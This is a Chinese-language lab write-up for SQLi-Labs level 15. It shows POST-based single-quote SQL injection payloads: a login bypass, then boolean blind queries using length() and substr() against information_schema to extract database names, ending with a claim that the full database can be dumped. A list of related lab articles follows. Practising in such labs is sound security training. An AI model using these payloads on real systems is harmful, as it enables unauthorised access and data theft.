SQLi LABS Less-15

简介: 第十五关请求方式为POST请求 , 注入方式为 单引号字符串型注入 第一步,判断注入类型使用万能账号测试注入类

第十五关请求方式为POST请求 , 注入方式为 单引号字符串型注入

第一步,判断注入类型

使用万能账号测试注入类型

a' or true #

image.png

登录成功 , 使用的是单引号字符串 , 源码如下

image.png

使用updatexml() 判断数据库是否报错

a' and updatexml(1,'~',3) #

image.png

数据库不报错 , 只提示成功或者失败 , 所以此关卡应该使用布尔注入 , 源码如下

image.png

第二步,获取数据库

使用 length() 判断当前使用的数据库的长度

a' or length(database())>8 #

从1开始测试 , 到8时失败 , 固 数据库名字长度为 8


image.png


使用substr() 判断数据库名字

a' or substr(database(),1,1)='s' #

截取数据库名字的第一个字符 , 从数字,字母,特殊字符的范围内测试


而后测试第二个,第三个,第n个字符 , 直至猜出整个数据库的名字

a' or length(
(select schema_name
from information_schema.schemata limit 3,1))>1 #

从1开始测试 , 5时开始出现异常 , 固 长度为5

使用 substr() 测试 数据库名字

1. a' or substr(
2. (select schema_name
3. from information_schema.schemata limit 3,1),1,1)='m' #

从第1个字符开始测试 , 测试范围包括所有字母,数字,特殊字符 , 直至测试完整个数据库名

而后用同样的方法测试字段名 , 最终实现脱库


相关文章
|
Shell 网络安全
[网络安全]upload-labs Pass-13 解题详析
[网络安全]upload-labs Pass-13 解题详析
239 0
|
网络安全
[网络安全]upload-labs Pass-15 解题详析
[网络安全]upload-labs Pass-15 解题详析
174 0
|
安全 网络安全
[网络安全]sqli-labs Less-16 解题详析
[网络安全]sqli-labs Less-16 解题详析
253 0
|
SQL 安全 数据库
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
1469 1
|
SQL 安全 网络安全
[网络安全]sqli-labs Less-15 解题详析
[网络安全]sqli-labs Less-15 解题详析
257 0
|
安全 测试技术 数据库
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)
|
SQL 安全 测试技术
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs
|
安全 测试技术 PHP
如何搭建 sqli-labs 靶场保姆级教程(附链接)
如何搭建 sqli-labs 靶场保姆级教程(附链接)
|
安全 测试技术 数据库
如何搭建 DVWA 靶场保姆级教程(附链接)
如何搭建 DVWA 靶场保姆级教程(附链接)
|
SQL 网络安全 数据安全/隐私保护
[网络安全]sqli-labs Less-24 解题详析
[网络安全]sqli-labs Less-24 解题详析
203 0